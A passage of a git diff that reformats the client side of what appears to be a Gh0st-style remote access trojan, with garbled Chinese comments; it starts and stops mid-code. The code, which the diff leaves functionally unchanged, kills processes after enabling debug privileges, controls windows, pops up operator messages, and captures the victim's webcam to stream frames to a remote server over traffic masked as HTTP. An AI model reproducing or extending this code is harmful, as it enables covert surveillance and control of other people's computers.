Mprintf("ϵͳ\n"); } BOOL CSystemManager::DebugPrivilege(const char *szName, BOOL bEnable) { - BOOL bResult = TRUE; - HANDLE hToken; - TOKEN_PRIVILEGES TokenPrivileges; + BOOL bResult = TRUE; + HANDLE hToken; + TOKEN_PRIVILEGES TokenPrivileges; - // Token - if (!OpenProcessToken(GetCurrentProcess(), - TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken)) - { - bResult = FALSE; - return bResult; - } - TokenPrivileges.PrivilegeCount = 1; - TokenPrivileges.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : 0; + // Token + if (!OpenProcessToken(GetCurrentProcess(), + TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken)) { + bResult = FALSE; + return bResult; + } + TokenPrivileges.PrivilegeCount = 1; + TokenPrivileges.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : 0; - LookupPrivilegeValue(NULL, szName, &TokenPrivileges.Privileges[0].Luid); - AdjustTokenPrivileges(hToken, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL); - if (GetLastError() != ERROR_SUCCESS) - { - bResult = FALSE; - } + LookupPrivilegeValue(NULL, szName, &TokenPrivileges.Privileges[0].Luid); + AdjustTokenPrivileges(hToken, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL); + if (GetLastError() != ERROR_SUCCESS) { + bResult = FALSE; + } - CloseHandle(hToken); - return bResult; + CloseHandle(hToken); + return bResult; } VOID CSystemManager::OnReceive(PBYTE szBuffer, ULONG ulLength) { - switch(szBuffer[0]) - { - case COMMAND_PSLIST: - { - SendProcessList(); - break; - } - case COMMAND_KILLPROCESS: - { - KillProcess((LPBYTE)szBuffer + 1, ulLength - 1); - break; - } - case COMMAND_WSLIST: - { - SendWindowsList(); - break; - } + switch(szBuffer[0]) { + case COMMAND_PSLIST: { + SendProcessList(); + break; + } + case COMMAND_KILLPROCESS: { + KillProcess((LPBYTE)szBuffer + 1, ulLength - 1); + break; + } + case COMMAND_WSLIST: { + SendWindowsList(); + break; + } - case CMD_WINDOW_CLOSE: - { - HWND hWnd = *((HWND*)(szBuffer+1)); + case CMD_WINDOW_CLOSE: { + HWND hWnd = *((HWND*)(szBuffer+1)); - ::PostMessage(hWnd,WM_CLOSE,0,0); + ::PostMessage(hWnd,WM_CLOSE,0,0); - Sleep(100); - SendWindowsList(); + Sleep(100); + SendWindowsList(); - break; - } - case CMD_WINDOW_TEST: // - { - TestWindow(szBuffer+1); - break; - } - default: - { - break; - } - } + break; + } + case CMD_WINDOW_TEST: { // + TestWindow(szBuffer+1); + break; + } + default: { + break; + } + } } void CSystemManager::TestWindow(LPBYTE szBuffer) //ڵ С ضﴦ { - DWORD Hwnd; - DWORD dHow; - memcpy((void*)&Hwnd,szBuffer,sizeof(DWORD)); //õھ - memcpy(&dHow,szBuffer+sizeof(DWORD),sizeof(DWORD)); //õڴ - ShowWindow((HWND__ *)Hwnd,dHow); - //ھ ɶ( С ԭ) + DWORD Hwnd; + DWORD dHow; + memcpy((void*)&Hwnd,szBuffer,sizeof(DWORD)); //õھ + memcpy(&dHow,szBuffer+sizeof(DWORD),sizeof(DWORD)); //õڴ + ShowWindow((HWND__ *)Hwnd,dHow); + //ھ ɶ( С ԭ) } VOID CSystemManager::KillProcess(LPBYTE szBuffer, UINT ulLength) { - HANDLE hProcess = NULL; - DebugPrivilege(SE_DEBUG_NAME, TRUE); //Ȩ + HANDLE hProcess = NULL; + DebugPrivilege(SE_DEBUG_NAME, TRUE); //Ȩ - for (int i = 0; i < ulLength; i += 4) - //ΪĿֹܸһ - { - //򿪽 - hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, *(LPDWORD)(szBuffer + i)); - // - TerminateProcess(hProcess, 0); - CloseHandle(hProcess); - } - DebugPrivilege(SE_DEBUG_NAME, FALSE); //ԭȨ - // Sleep£ֹ - Sleep(100); + for (int i = 0; i < ulLength; i += 4) + //ΪĿֹܸһ + { + //򿪽 + hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, *(LPDWORD)(szBuffer + i)); + // + TerminateProcess(hProcess, 0); + CloseHandle(hProcess); + } + DebugPrivilege(SE_DEBUG_NAME, FALSE); //ԭȨ + // Sleep£ֹ + Sleep(100); } LPBYTE CSystemManager::GetWindowsList() { - LPBYTE szBuffer = NULL; //char* p = NULL &p - EnumWindows((WNDENUMPROC)EnumWindowsProc, (LPARAM)&szBuffer); //עắ - //APIкָ - //ϵͳעһ ص - szBuffer[0] = TOKEN_WSLIST; - return szBuffer; + LPBYTE szBuffer = NULL; //char* p = NULL &p + EnumWindows((WNDENUMPROC)EnumWindowsProc, (LPARAM)&szBuffer); //עắ + //APIкָ + //ϵͳעһ ص + szBuffer[0] = TOKEN_WSLIST; + return szBuffer; } BOOL CALLBACK CSystemManager::EnumWindowsProc(HWND hWnd, LPARAM lParam) //Ҫ ** { - DWORD dwLength = 0; - DWORD dwOffset = 0; - DWORD dwProcessID = 0; - LPBYTE szBuffer = *(LPBYTE *)lParam; + DWORD dwLength = 0; + DWORD dwOffset = 0; + DWORD dwProcessID = 0; + LPBYTE szBuffer = *(LPBYTE *)lParam; - char szTitle[1024]; - memset(szTitle, 0, sizeof(szTitle)); - //õϵͳݽĴھĴڱ - GetWindowText(hWnd, szTitle, sizeof(szTitle)); - //ж Ƿɼ Ϊ - if (!IsWindowVisible(hWnd) || lstrlen(szTitle) == 0) - return true; - //̹ͬһעķ͵ض˵ݽṹ - if (szBuffer == NULL) - szBuffer = (LPBYTE)LocalAlloc(LPTR, 1); //ʱ仺 - if (szBuffer == NULL) - return FALSE; - //[Ϣ][4Notepad.exe\0] - dwLength = sizeof(DWORD) + lstrlen(szTitle) + 1; - dwOffset = LocalSize(szBuffer); //1 - //¼㻺С - szBuffer = (LPBYTE)LocalReAlloc(szBuffer, dwOffset + dwLength, LMEM_ZEROINIT|LMEM_MOVEABLE); - if (szBuffer == NULL) - return FALSE; - //memcpyܿݽṹΪ hwnd+ڱ+0 - memcpy((szBuffer+dwOffset),&hWnd,sizeof(DWORD)); - memcpy(szBuffer + dwOffset + sizeof(DWORD), szTitle, lstrlen(szTitle) + 1); + char szTitle[1024]; + memset(szTitle, 0, sizeof(szTitle)); + //õϵͳݽĴھĴڱ + GetWindowText(hWnd, szTitle, sizeof(szTitle)); + //ж Ƿɼ Ϊ + if (!IsWindowVisible(hWnd) || lstrlen(szTitle) == 0) + return true; + //̹ͬһעķ͵ض˵ݽṹ + if (szBuffer == NULL) + szBuffer = (LPBYTE)LocalAlloc(LPTR, 1); //ʱ仺 + if (szBuffer == NULL) + return FALSE; + //[Ϣ][4Notepad.exe\0] + dwLength = sizeof(DWORD) + lstrlen(szTitle) + 1; + dwOffset = LocalSize(szBuffer); //1 + //¼㻺С + szBuffer = (LPBYTE)LocalReAlloc(szBuffer, dwOffset + dwLength, LMEM_ZEROINIT|LMEM_MOVEABLE); + if (szBuffer == NULL) + return FALSE; + //memcpyܿݽṹΪ hwnd+ڱ+0 + memcpy((szBuffer+dwOffset),&hWnd,sizeof(DWORD)); + memcpy(szBuffer + dwOffset + sizeof(DWORD), szTitle, lstrlen(szTitle) + 1); - *(LPBYTE *)lParam = szBuffer; + *(LPBYTE *)lParam = szBuffer; - return true; + return true; } diff --git a/client/SystemManager.h b/client/SystemManager.h index 6b00f63..b4907cd 100644 --- a/client/SystemManager.h +++ b/client/SystemManager.h @@ -12,20 +12,20 @@ #include "Manager.h" #include "IOCPClient.h" -class CSystemManager : public CManager +class CSystemManager : public CManager { public: - CSystemManager(IOCPClient* ClientObject,BOOL bHow, void* user = nullptr); - virtual ~CSystemManager(); - LPBYTE GetProcessList(); - VOID SendProcessList(); - BOOL DebugPrivilege(const char *szName, BOOL bEnable); - VOID OnReceive(PBYTE szBuffer, ULONG ulLength); - VOID KillProcess(LPBYTE szBuffer, UINT ulLength); - LPBYTE GetWindowsList(); - static BOOL CALLBACK EnumWindowsProc(HWND hWnd, LPARAM lParam); - void SendWindowsList(); - void TestWindow(LPBYTE szBuffer); + CSystemManager(IOCPClient* ClientObject,BOOL bHow, void* user = nullptr); + virtual ~CSystemManager(); + LPBYTE GetProcessList(); + VOID SendProcessList(); + BOOL DebugPrivilege(const char *szName, BOOL bEnable); + VOID OnReceive(PBYTE szBuffer, ULONG ulLength); + VOID KillProcess(LPBYTE szBuffer, UINT ulLength); + LPBYTE GetWindowsList(); + static BOOL CALLBACK EnumWindowsProc(HWND hWnd, LPARAM lParam); + void SendWindowsList(); + void TestWindow(LPBYTE szBuffer); }; #endif // !defined(AFX_SYSTEMMANAGER_H__38ABB010_F90B_4AE7_A2A3_A52808994A9B__INCLUDED_) diff --git a/client/TalkManager.cpp b/client/TalkManager.cpp index b543d53..09bbd77 100644 --- a/client/TalkManager.cpp +++ b/client/TalkManager.cpp @@ -12,10 +12,10 @@ #pragma comment(lib, "WINMM.LIB") #define ID_TIMER_POP_WINDOW 1 -#define ID_TIMER_DELAY_DISPLAY 2 -#define ID_TIMER_CLOSE_WINDOW 3 +#define ID_TIMER_DELAY_DISPLAY 2 +#define ID_TIMER_CLOSE_WINDOW 3 -#define WIN_WIDTH 360 +#define WIN_WIDTH 360 #define WIN_HEIGHT 200 ////////////////////////////////////////////////////////////////////// // Construction/Destruction @@ -23,150 +23,133 @@ CTalkManager::CTalkManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject) { - m_hInstance = HINSTANCE(user); - g_Event = 0; - memset(g_Buffer, 0, sizeof(g_Buffer)); - BYTE bToken = TOKEN_TALK_START; - HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); - m_ClientObject->Send2Server((char*)&bToken, 1, &mask); - WaitForDialogOpen(); - Mprintf("Talk \n"); + m_hInstance = HINSTANCE(user); + g_Event = 0; + memset(g_Buffer, 0, sizeof(g_Buffer)); + BYTE bToken = TOKEN_TALK_START; + HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); + m_ClientObject->Send2Server((char*)&bToken, 1, &mask); + WaitForDialogOpen(); + Mprintf("Talk \n"); } CTalkManager::~CTalkManager() { - Mprintf("Talk \n"); + Mprintf("Talk \n"); } VOID CTalkManager::OnReceive(PBYTE szBuffer, ULONG ulLength) { - switch(szBuffer[0]) - { - case COMMAND_NEXT: - { - NotifyDialogIsOpen(); - break; - } + switch(szBuffer[0]) { + case COMMAND_NEXT: { + NotifyDialogIsOpen(); + break; + } - default: - { - memcpy(g_Buffer, szBuffer, min(ulLength, sizeof(g_Buffer))); - //һDLG - DialogBoxParamA(m_hInstance,MAKEINTRESOURCE(IDD_DIALOG), - NULL, DialogProc, (LPARAM)this); //SDK C MFC C++ - break; - } - } + default: { + memcpy(g_Buffer, szBuffer, min(ulLength, sizeof(g_Buffer))); + //һDLG + DialogBoxParamA(m_hInstance,MAKEINTRESOURCE(IDD_DIALOG), + NULL, DialogProc, (LPARAM)this); //SDK C MFC C++ + break; + } + } } INT_PTR CALLBACK CTalkManager::DialogProc(HWND hDlg, UINT uMsg, - WPARAM wParam, LPARAM lParam) + WPARAM wParam, LPARAM lParam) { - static CTalkManager* This = nullptr; - switch(uMsg) - { - case WM_TIMER: - { - if (This) This->OnDlgTimer(hDlg); - break; - } - case WM_INITDIALOG: - { - // ȡǰʽ - LONG_PTR exStyle = GetWindowLongPtr(hDlg, GWL_EXSTYLE); - // Ƴ WS_EX_APPWINDOW ʽ WS_EX_TOOLWINDOW ʽ - exStyle &= ~WS_EX_APPWINDOW; - exStyle |= WS_EX_TOOLWINDOW; - SetWindowLongPtr(hDlg, GWL_EXSTYLE, exStyle); - This = (CTalkManager*)lParam; - if(This) This->OnInitDialog(hDlg); - break; - } - case WM_COMMAND: - if (LOWORD(wParam) == IDOK || LOWORD(wParam) == IDCANCEL) - { - KillTimer(hDlg, ID_TIMER_CLOSE_WINDOW); - BYTE bToken = TOKEN_TALKCMPLT; - if (This) This->m_ClientObject->Send2Server((char*)&bToken, 1); - EndDialog(hDlg, LOWORD(wParam)); - return (INT_PTR)TRUE; - } - break; - } + static CTalkManager* This = nullptr; + switch(uMsg) { + case WM_TIMER: { + if (This) This->OnDlgTimer(hDlg); + break; + } + case WM_INITDIALOG: { + // ȡǰʽ + LONG_PTR exStyle = GetWindowLongPtr(hDlg, GWL_EXSTYLE); + // Ƴ WS_EX_APPWINDOW ʽ WS_EX_TOOLWINDOW ʽ + exStyle &= ~WS_EX_APPWINDOW; + exStyle |= WS_EX_TOOLWINDOW; + SetWindowLongPtr(hDlg, GWL_EXSTYLE, exStyle); + This = (CTalkManager*)lParam; + if(This) This->OnInitDialog(hDlg); + break; + } + case WM_COMMAND: + if (LOWORD(wParam) == IDOK || LOWORD(wParam) == IDCANCEL) { + KillTimer(hDlg, ID_TIMER_CLOSE_WINDOW); + BYTE bToken = TOKEN_TALKCMPLT; + if (This) This->m_ClientObject->Send2Server((char*)&bToken, 1); + EndDialog(hDlg, LOWORD(wParam)); + return (INT_PTR)TRUE; + } + break; + } - return 0; + return 0; } VOID CTalkManager::OnInitDialog(HWND hDlg) { - MoveWindow(hDlg, 0, 0, 0, 0, TRUE); + MoveWindow(hDlg, 0, 0, 0, 0, TRUE); - static HICON hIcon = LoadIcon(NULL, MAKEINTRESOURCE(IDI_ICON_MSG)); - ::SendMessage(hDlg, WM_SETICON, (WPARAM)hIcon, (LPARAM)hIcon); + static HICON hIcon = LoadIcon(NULL, MAKEINTRESOURCE(IDI_ICON_MSG)); + ::SendMessage(hDlg, WM_SETICON, (WPARAM)hIcon, (LPARAM)hIcon); - SetDlgItemText(hDlg,IDC_EDIT_MESSAGE,g_Buffer); + SetDlgItemText(hDlg,IDC_EDIT_MESSAGE,g_Buffer); - ::SetFocus(GetDesktopWindow()); + ::SetFocus(GetDesktopWindow()); - memset(g_Buffer,0,sizeof(g_Buffer)); + memset(g_Buffer,0,sizeof(g_Buffer)); - g_Event = ID_TIMER_POP_WINDOW; - SetTimer(hDlg, g_Event, 1, NULL); + g_Event = ID_TIMER_POP_WINDOW; + SetTimer(hDlg, g_Event, 1, NULL); - PlaySound(MAKEINTRESOURCE(IDR_WAVE), - m_hInstance,SND_ASYNC|SND_RESOURCE|SND_NODEFAULT); + PlaySound(MAKEINTRESOURCE(IDR_WAVE), + m_hInstance,SND_ASYNC|SND_RESOURCE|SND_NODEFAULT); } VOID CTalkManager::OnDlgTimer(HWND hDlg) //ʱӻص -{ - RECT Rect; - static int Height=0; - SystemParametersInfo(SPI_GETWORKAREA, 0, &Rect,0); - int y=Rect.bottom-Rect.top;; - int x=Rect.right-Rect.left; - x=x-WIN_WIDTH; +{ + RECT Rect; + static int Height=0; + SystemParametersInfo(SPI_GETWORKAREA, 0, &Rect,0); + int y=Rect.bottom-Rect.top;; + int x=Rect.right-Rect.left; + x=x-WIN_WIDTH; - switch(g_Event) - { - case ID_TIMER_CLOSE_WINDOW: - { - if(Height>=0) - { - Height-=5; - MoveWindow(hDlg, x,y-Height, WIN_WIDTH, Height,TRUE); - } - else - { - KillTimer(hDlg,ID_TIMER_CLOSE_WINDOW); - BYTE bToken = TOKEN_TALKCMPLT; // ͷļ Common.h - m_ClientObject->Send2Server((char*)&bToken, 1); // ·͵ָ - EndDialog(hDlg,0); - } - break; - } - case ID_TIMER_DELAY_DISPLAY: - { - KillTimer(hDlg,ID_TIMER_DELAY_DISPLAY); - g_Event = ID_TIMER_CLOSE_WINDOW; - SetTimer(hDlg,g_Event, 5, NULL); - break; - } - case ID_TIMER_POP_WINDOW: - { - if(Height<=WIN_HEIGHT) - { - Height+=3; - MoveWindow(hDlg ,x, y-Height, WIN_WIDTH, Height,TRUE); - } - else - { - KillTimer(hDlg,ID_TIMER_POP_WINDOW); - g_Event = ID_TIMER_DELAY_DISPLAY; - SetTimer(hDlg,g_Event, 4000, NULL); - } - break; - } - } + switch(g_Event) { + case ID_TIMER_CLOSE_WINDOW: { + if(Height>=0) { + Height-=5; + MoveWindow(hDlg, x,y-Height, WIN_WIDTH, Height,TRUE); + } else { + KillTimer(hDlg,ID_TIMER_CLOSE_WINDOW); + BYTE bToken = TOKEN_TALKCMPLT; // ͷļ Common.h + m_ClientObject->Send2Server((char*)&bToken, 1); // ·͵ָ + EndDialog(hDlg,0); + } + break; + } + case ID_TIMER_DELAY_DISPLAY: { + KillTimer(hDlg,ID_TIMER_DELAY_DISPLAY); + g_Event = ID_TIMER_CLOSE_WINDOW; + SetTimer(hDlg,g_Event, 5, NULL); + break; + } + case ID_TIMER_POP_WINDOW: { + if(Height<=WIN_HEIGHT) { + Height+=3; + MoveWindow(hDlg,x, y-Height, WIN_WIDTH, Height,TRUE); + } else { + KillTimer(hDlg,ID_TIMER_POP_WINDOW); + g_Event = ID_TIMER_DELAY_DISPLAY; + SetTimer(hDlg,g_Event, 4000, NULL); + } + break; + } + } } diff --git a/client/TalkManager.h b/client/TalkManager.h index 582bed6..f844917 100644 --- a/client/TalkManager.h +++ b/client/TalkManager.h @@ -11,22 +11,22 @@ #include "Manager.h" -class CTalkManager : public CManager +class CTalkManager : public CManager { public: - HINSTANCE m_hInstance; - CTalkManager(IOCPClient* ClientObject, int n, void* user = nullptr); - virtual ~CTalkManager(); - VOID OnReceive(PBYTE szBuffer, ULONG ulLength); + HINSTANCE m_hInstance; + CTalkManager(IOCPClient* ClientObject, int n, void* user = nullptr); + virtual ~CTalkManager(); + VOID OnReceive(PBYTE szBuffer, ULONG ulLength); - static INT_PTR CALLBACK DialogProc(HWND hDlg, UINT uMsg, - WPARAM wParam, LPARAM lParam); + static INT_PTR CALLBACK DialogProc(HWND hDlg, UINT uMsg, + WPARAM wParam, LPARAM lParam); - VOID OnInitDialog(HWND hDlg); - VOID OnDlgTimer(HWND hDlg); + VOID OnInitDialog(HWND hDlg); + VOID OnDlgTimer(HWND hDlg); - char g_Buffer[TALK_DLG_MAXLEN]; - UINT_PTR g_Event; + char g_Buffer[TALK_DLG_MAXLEN]; + UINT_PTR g_Event; }; #endif // !defined(AFX_TALKMANAGER_H__BF276DAF_7D22_4C3C_BE95_709E29D5614D__INCLUDED_) diff --git a/client/VideoCodec.h b/client/VideoCodec.h index 5d98d46..a9080a8 100644 --- a/client/VideoCodec.h +++ b/client/VideoCodec.h @@ -3,133 +3,128 @@ #include -class CVideoCodec +class CVideoCodec { - COMPVARS m_cv; - HIC m_hIC; - BITMAPINFO* m_lpbmiInput; - BITMAPINFO m_bmiOutput; + COMPVARS m_cv; + HIC m_hIC; + BITMAPINFO* m_lpbmiInput; + BITMAPINFO m_bmiOutput; public: - bool InitCompressor(BITMAPINFO* lpbmi, DWORD fccHandler) - { - if (lpbmi == NULL) - return false; + bool InitCompressor(BITMAPINFO* lpbmi, DWORD fccHandler) + { + if (lpbmi == NULL) + return false; - m_lpbmiInput = lpbmi; + m_lpbmiInput = lpbmi; - ZeroMemory(&m_cv, sizeof(m_cv)); - m_cv.cbSize = sizeof(m_cv); - m_cv.dwFlags = ICMF_COMPVARS_VALID; - m_cv.hic = m_hIC; - m_cv.fccType = ICTYPE_VIDEO; - m_cv.fccHandler = fccHandler; - m_cv.lpbiOut = NULL; - m_cv.lKey = 10; - m_cv.lDataRate = 6; - m_cv.lQ = ICQUALITY_HIGH; + ZeroMemory(&m_cv, sizeof(m_cv)); + m_cv.cbSize = sizeof(m_cv); + m_cv.dwFlags = ICMF_COMPVARS_VALID; + m_cv.hic = m_hIC; + m_cv.fccType = ICTYPE_VIDEO; + m_cv.fccHandler = fccHandler; + m_cv.lpbiOut = NULL; + m_cv.lKey = 10; + m_cv.lDataRate = 6; + m_cv.lQ = ICQUALITY_HIGH; - m_hIC = ICOpen(ICTYPE_VIDEO, m_cv.fccHandler, ICMODE_COMPRESS | ICMODE_DECOMPRESS); + m_hIC = ICOpen(ICTYPE_VIDEO, m_cv.fccHandler, ICMODE_COMPRESS | ICMODE_DECOMPRESS); - if (m_hIC == NULL) - { - return false; - } + if (m_hIC == NULL) { + return false; + } - ICCompressGetFormat(m_hIC, m_lpbmiInput, &m_bmiOutput); - // ֤ - ICSendMessage(m_hIC, 0x60c9, 0xf7329ace, 0xacdeaea2); + ICCompressGetFormat(m_hIC, m_lpbmiInput, &m_bmiOutput); + // ֤ + ICSendMessage(m_hIC, 0x60c9, 0xf7329ace, 0xacdeaea2); - m_cv.hic = m_hIC; - m_cv.dwFlags = ICMF_COMPVARS_VALID; + m_cv.hic = m_hIC; + m_cv.dwFlags = ICMF_COMPVARS_VALID; - if (!ICSeqCompressFrameStart(&m_cv, m_lpbmiInput)) - { - return false; - } + if (!ICSeqCompressFrameStart(&m_cv, m_lpbmiInput)) { + return false; + } - ICDecompressBegin(m_hIC, &m_bmiOutput , m_lpbmiInput); + ICDecompressBegin(m_hIC, &m_bmiOutput, m_lpbmiInput); - return true; - } + return true; + } - bool DecodeVideoData(BYTE *pin, int len, BYTE* pout, int *lenr,DWORD flag) - { - if(!pin || !pout ||!m_hIC) - return false; - if (ICDecompress(m_hIC, flag, &m_bmiOutput.bmiHeader, pin, &m_lpbmiInput->bmiHeader, pout) != ICERR_OK) - return false; + bool DecodeVideoData(BYTE *pin, int len, BYTE* pout, int *lenr,DWORD flag) + { + if(!pin || !pout ||!m_hIC) + return false; + if (ICDecompress(m_hIC, flag, &m_bmiOutput.bmiHeader, pin, &m_lpbmiInput->bmiHeader, pout) != ICERR_OK) + return false; - if (lenr) *lenr = m_lpbmiInput->bmiHeader.biSizeImage; + if (lenr) *lenr = m_lpbmiInput->bmiHeader.biSizeImage; - return true; - } + return true; + } - bool EncodeVideoData(BYTE* pin, int len, BYTE* pout, int* lenr, bool* pKey) - { - BYTE *p; - long s = 1; - BOOL k = true; - if ( !pin || !pout || len != (int)m_lpbmiInput->bmiHeader.biSizeImage || !m_hIC) - return false; - p = (BYTE*)ICSeqCompressFrame(&m_cv, 0, pin, &k, &s); + bool EncodeVideoData(BYTE* pin, int len, BYTE* pout, int* lenr, bool* pKey) + { + BYTE *p; + long s = 1; + BOOL k = true; + if ( !pin || !pout || len != (int)m_lpbmiInput->bmiHeader.biSizeImage || !m_hIC) + return false; + p = (BYTE*)ICSeqCompressFrame(&m_cv, 0, pin, &k, &s); - if (!p) return false; - if (lenr) *lenr = s; - if (pKey) *pKey = k; + if (!p) return false; + if (lenr) *lenr = s; + if (pKey) *pKey = k; - CopyMemory(pout, p, s); + CopyMemory(pout, p, s); - return true; - } + return true; + } - CVideoCodec() - { - m_lpbmiInput = NULL; - } + CVideoCodec() + { + m_lpbmiInput = NULL; + } - virtual ~CVideoCodec() - { - // No init yet or init error - if (m_hIC == NULL) - return; - ICDecompressEnd(m_hIC); - ICSeqCompressFrameEnd(&m_cv); - ICCompressorFree(&m_cv); - ICClose(m_hIC); - } + virtual ~CVideoCodec() + { + // No init yet or init error + if (m_hIC == NULL) + return; + ICDecompressEnd(m_hIC); + ICSeqCompressFrameEnd(&m_cv); + ICCompressorFree(&m_cv); + ICClose(m_hIC); + } - int MyEnumCodecs(int *fccHandler, char *strName) - { - static int i = 0; - int nRet = 1; - HIC hIC; - ICINFO icInfo; + int MyEnumCodecs(int *fccHandler, char *strName) + { + static int i = 0; + int nRet = 1; + HIC hIC; + ICINFO icInfo; - if (fccHandler == NULL) - return 0; + if (fccHandler == NULL) + return 0; - if(!ICInfo(ICTYPE_VIDEO, i, &icInfo)) - { - i = 0; - return 0; - } - hIC = ICOpen(icInfo.fccType, icInfo.fccHandler, ICMODE_QUERY); + if(!ICInfo(ICTYPE_VIDEO, i, &icInfo)) { + i = 0; + return 0; + } + hIC = ICOpen(icInfo.fccType, icInfo.fccHandler, ICMODE_QUERY); - if (hIC) - { - ICGetInfo(hIC, &icInfo, sizeof(icInfo)); - *fccHandler = icInfo.fccHandler; - //ڵõszDescriptionUNICODE˫ִֽҪתΪASCII - if (strName != NULL) - wcstombs(strName, icInfo.szDescription, 256); - } - else nRet = -1; + if (hIC) { + ICGetInfo(hIC, &icInfo, sizeof(icInfo)); + *fccHandler = icInfo.fccHandler; + //ڵõszDescriptionUNICODE˫ִֽҪתΪASCII + if (strName != NULL) + wcstombs(strName, icInfo.szDescription, 256); + } else nRet = -1; - ICClose(hIC); - i++; - return nRet; - } + ICClose(hIC); + i++; + return nRet; + } }; #endif // !defined(AFX_VIDEOCODEC_H_INCLUDED) \ No newline at end of file diff --git a/client/VideoManager.cpp b/client/VideoManager.cpp index a03ba41..d833eac 100644 --- a/client/VideoManager.cpp +++ b/client/VideoManager.cpp @@ -13,195 +13,180 @@ CVideoManager::CVideoManager(IOCPClient* ClientObject, int n, void* user) : CManager(ClientObject) { - m_bIsWorking = TRUE; + m_bIsWorking = TRUE; - m_bIsCompress = false; - m_pVideoCodec = NULL; - m_fccHandler = 1129730893; + m_bIsCompress = false; + m_pVideoCodec = NULL; + m_fccHandler = 1129730893; - m_CapVideo.Open(0,0); // - lpBuffer = NULL; + m_CapVideo.Open(0,0); // + lpBuffer = NULL; - m_hWorkThread = __CreateThread(NULL, 0, WorkThread, this, 0, NULL); + m_hWorkThread = __CreateThread(NULL, 0, WorkThread, this, 0, NULL); } DWORD CVideoManager::WorkThread(LPVOID lParam) { - CVideoManager *This = (CVideoManager *)lParam; - static ULONGLONG dwLastScreen = GetTickCount64(); + CVideoManager *This = (CVideoManager *)lParam; + static ULONGLONG dwLastScreen = GetTickCount64(); - if (This->Initialize()) //תInitialize - { - This->m_bIsCompress=true; //ʼɹÿѹ - Mprintf("ѹƵд.\n"); - } + if (This->Initialize()) { //תInitialize + This->m_bIsCompress=true; //ʼɹÿѹ + Mprintf("ѹƵд.\n"); + } - This->SendBitMapInfor(); //bmpλͼṹ + This->SendBitMapInfor(); //bmpλͼṹ - // ȿƶ˶Ի - This->WaitForDialogOpen(); + // ȿƶ˶Ի + This->WaitForDialogOpen(); #if USING_ZLIB - const int fps = 8;// ֡ + const int fps = 8;// ֡ #else - const int fps = 8;// ֡ + const int fps = 8;// ֡ #endif - const int sleep = 1000 / fps;// ʱ䣨ms + const int sleep = 1000 / fps;// ʱ䣨ms - timeBeginPeriod(1); - while (This->m_bIsWorking) - { - // ٶ - int span = sleep-(GetTickCount64() - dwLastScreen); - Sleep(span > 0 ? span : 1); - if (span < 0) - Mprintf("SendScreen Span = %d ms\n", span); - dwLastScreen = GetTickCount64(); - if(FALSE == This->SendNextScreen()) - break; - } - timeEndPeriod(1); + timeBeginPeriod(1); + while (This->m_bIsWorking) { + // ٶ + int span = sleep-(GetTickCount64() - dwLastScreen); + Sleep(span > 0 ? span : 1); + if (span < 0) + Mprintf("SendScreen Span = %d ms\n", span); + dwLastScreen = GetTickCount64(); + if(FALSE == This->SendNextScreen()) + break; + } + timeEndPeriod(1); - This->Destroy(); - Mprintf("CVideoManager WorkThread end\n"); + This->Destroy(); + Mprintf("CVideoManager WorkThread end\n"); - return 0; + return 0; } CVideoManager::~CVideoManager() { - InterlockedExchange((LPLONG)&m_bIsWorking, FALSE); - m_CapVideo.m_bExit = TRUE; - WaitForSingleObject(m_hWorkThread, INFINITE); - CloseHandle(m_hWorkThread); - Mprintf("CVideoManager ~CVideoManager \n"); - if (m_pVideoCodec) //ѹ - { - delete m_pVideoCodec; - m_pVideoCodec = NULL; - } - if (lpBuffer) - delete [] lpBuffer; + InterlockedExchange((LPLONG)&m_bIsWorking, FALSE); + m_CapVideo.m_bExit = TRUE; + WaitForSingleObject(m_hWorkThread, INFINITE); + CloseHandle(m_hWorkThread); + Mprintf("CVideoManager ~CVideoManager \n"); + if (m_pVideoCodec) { //ѹ + delete m_pVideoCodec; + m_pVideoCodec = NULL; + } + if (lpBuffer) + delete [] lpBuffer; } void CVideoManager::Destroy() { - m_bIsWorking = FALSE; - Mprintf("CVideoManager Destroy \n"); - if (m_pVideoCodec) //ѹ - { - delete m_pVideoCodec; - m_pVideoCodec = NULL; - } + m_bIsWorking = FALSE; + Mprintf("CVideoManager Destroy \n"); + if (m_pVideoCodec) { //ѹ + delete m_pVideoCodec; + m_pVideoCodec = NULL; + } } void CVideoManager::SendBitMapInfor() { - const int dwBytesLength = 1 + sizeof(BITMAPINFO); - BYTE szBuffer[dwBytesLength + 3] = { 0 }; - szBuffer[0] = TOKEN_WEBCAM_BITMAPINFO; - memcpy(szBuffer + 1, m_CapVideo.GetBmpInfor(), sizeof(BITMAPINFO)); - HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); - m_ClientObject->Send2Server((char*)szBuffer, dwBytesLength, &mask); + const int dwBytesLength = 1 + sizeof(BITMAPINFO); + BYTE szBuffer[dwBytesLength + 3] = { 0 }; + szBuffer[0] = TOKEN_WEBCAM_BITMAPINFO; + memcpy(szBuffer + 1, m_CapVideo.GetBmpInfor(), sizeof(BITMAPINFO)); + HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); + m_ClientObject->Send2Server((char*)szBuffer, dwBytesLength, &mask); } BOOL CVideoManager::SendNextScreen() { - DWORD dwBmpImageSize=0; - LPVOID lpDIB =m_CapVideo.GetDIB(dwBmpImageSize); - if(lpDIB == NULL) - return FALSE; + DWORD dwBmpImageSize=0; + LPVOID lpDIB =m_CapVideo.GetDIB(dwBmpImageSize); + if(lpDIB == NULL) + return FALSE; - // token + IsCompress + m_fccHandler + DIB - const int nHeadLen = 1 + 1 + 4; + // token + IsCompress + m_fccHandler + DIB + const int nHeadLen = 1 + 1 + 4; - UINT nBufferLen = nHeadLen + dwBmpImageSize; - lpBuffer = lpBuffer ? lpBuffer : new BYTE[nBufferLen]; + UINT nBufferLen = nHeadLen + dwBmpImageSize; + lpBuffer = lpBuffer ? lpBuffer : new BYTE[nBufferLen]; - 